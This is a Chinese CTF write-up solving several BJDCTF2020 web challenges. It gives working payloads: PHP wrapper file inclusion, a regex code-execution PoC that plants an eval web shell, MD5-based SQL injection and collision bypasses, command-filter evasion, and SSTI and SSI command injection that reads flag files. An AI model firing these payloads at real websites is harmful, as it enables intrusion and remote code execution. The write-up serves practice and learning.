BJDCTF2020--web-復現

BJDCTF2020
未完待續
Buu

ZJCTF,就這?

看到這題名字還是很不爽的,畢竟我也是個浙江人,不過zjctf,有一說一確實。

BUU上和源題好像有點差別。

進題放出源碼:

<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

file_get_contents(text,r)==="Ihaveadream")text,'r')==="I have a dream"), 讀取text文件內容爲I have a dream,想到data://僞協議。
看到官方wp還可以遠程讀取,對不起我是弟弟。

?text=data://text/plain,I%20have%20a%20dream

繞過第一個。

第二個讓我們讀取next.php ,可以利用filter。

?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php

next.php

在這裏插入圖片描述

出題人的指引下,看了大佬的一篇文章。

next.php?\S*=${phpinfo()}
可以用,poc直接打。

next.php?\S*=${eval($_POST[cmd])}

連上木馬後找到flag

easy_md5

我注入真菜

F12 看到有個

hint: select * from 'admin' where password=md5($pass,true)
得到sql語句.

Leet More 2010 Jailbreak writeup

總結: ffifdyop
這個字符串其哈希值:276f722736c95d99e921722cf9ed621c

字符串: 'or’6

select * from admin where password=’‘or’6’
相當於select * from admin where password=’'or 1 實現注入.

然後跳轉到新頁面

在這裏插入圖片描述

審查頁面元素:

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

趙總又來找女朋友了!

get傳A和b都是0e開頭就行

payload:

?a=s155964671a&b=2120624
跳轉到第三個頁面.

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

要求我們post三個,但是他和上面不同,上面那個是兩個等號,下面是三個等號,全等.可以考慮MD5生日攻擊,還有MD5不支持數組,如果你param1和param2是數組傳入,則MD5等號兩邊都是false也成立.

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

或者直接數組傳入就行param1[]=1,param2[]=2

參考網址

在這裏插入圖片描述

postman的話,我這邊要改成raw格式才能撞進去,我去!!注意格式問題.

感謝曉黑

中出一個安洵杯 easy_web

被曉黑老哥安利了下easy_web,題型差不多正好做一下。

查看元素,發現題面就img,發現下面有一行md5 is funny ~,然後就下意識得看了下url:

/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
猜測img後面跟的是文件名,cmd應該是後期要執行的命令,然後我去試了下hex,解不開,然後base64也沒解開,然後有點困就去睡覺了。。。。
早上醒過來,越想越不應該,不可能解不開,然後果然忘記補等號了原先是27位,不能能被整除,奶奶的。兩層base64接開後,再用hex,得到555.png

TXpVek5UTTFNbVUzTURabE5qYz0->MzUzNTM1MmU3MDZlNjc=->3535352e706e67->555.png
反過來
index.php->696e6465782e706870->Njk2ZTY0NjU3ODJlNzA2ODcw->TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

http://16e5095c-d64f-49f0-a553-ef6564d69eea.node3.buuoj.cn/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

然後就會得到一傳base64加密得index.php

data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=

base64解一下

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}
?>

前半部分就是剛纔的東西,後半部分是講cmd得,果然是命令執行。a和b套剛剛的就行了,正則我看的頭疼。。試了個dir和dir%20/發現flag在目錄下,然後試了個ca\t發現可以用。

在這裏插入圖片描述

在這裏插入圖片描述

Mark loves cat

打開頁面發現有用的信息都沒得,然後fuzz一下用dirb

dirb http://31d76b5b-06b8-4911-9a08-b2d9d71eb368.node3.buuoj.cn/

在這裏插入圖片描述

發現.git源碼泄露。

python GitHack.py http://31d76b5b-06b8-4911-9a08-b2d9d71eb368.node3.buuoj.cn/.git

在這裏插入圖片描述

得到flag.php和index.php.

flag.php

<?php
$flag = file_get_contents('/flag');

index.php

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}
foreach($_GET as $x => $y){
    $$x = $$y;
}
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

可以看到裏面用到可變變量,第二個條件最簡單,只要保證post的flag和get的flag變量沒被用過就行。輸出的yds,getyds=flagyds,所以我們只要get請求`yds=flag`就行了,就會把`x=yds,y=flag==>y=flag`==>`yds=flag,flag`,然後yds就會是flag。

在這裏插入圖片描述
PHP可變變量

The_Mystery_of_ip

在這裏插入圖片描述
點進去發現三個,index.php、hint.php、flag.php。一開始沒發現hint.php的提示,我這眼神,不過我看到flag.php的ip,然後試了下X-Forwarded-For、client-ip。發現ip可控,想到之前打的一題XFF注入的題,然後發現沒有。看Y1ng表哥博客發現ssti注入,我傻了,第一次遇到這樣也可以ssti注入的。學到了!!!

在這裏插入圖片描述

pyload:

X-Forwarded-For: 127.0.0.1{{system('cat /flag')}}

Cookie is so stable

頁面元素和上一題差不多,flag.php變成輸入的,想到上一題是ssti注入,突然感覺這題可能也是注入題,然後輸入了{{7*7}},果然!
在這裏插入圖片描述
分辨
關於ssti注入(二向箔安全學院)

直接拿這篇的payloadl來打:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

發現可以直接打。

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

在這裏插入圖片描述
服務器會將我們輸入的注入編碼後變成cookie,我們直接把注入放在cookie裏就行了!

EasySearch

打了半天沒思路,看了別的表哥的wp,發現原先題目有提示vim泄露的,Buu復現好像沒提示,index.php.swp拿到源碼。

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

可以看到要求username不爲空,並且我們輸入的密碼MD5,前六位要與6d0bc1相等。

import hashlib
list='0123456789'
for a in list:
    for b in list:
        for c in list:
            for d in list:
                for e in list:
                    for f in list:
                        for g in list:
                            str1 = (a+b+c+d+e+f+g)
                            value = hashlib.md5(str1.encode()).hexdigest()
                            if value[0:6] == '6d0bc1':
                                print(str1)

跑出 三個數字2020666、2305004、9162671。隨便用一個!穿後返回了個地址
在這裏插入圖片描述

訪問一下,發現剛剛username被用了

在這裏插入圖片描述

省賽的時候考過ssi解析漏洞,上ssi解析漏洞:

<!--#exec cmd="dir /" -->

訪問了根目錄和當前目錄發現沒有flag文件,然後訪問了下上級目錄
在這裏插入圖片描述

發現flag文件,直接打,得到flag。

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

文章首發

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章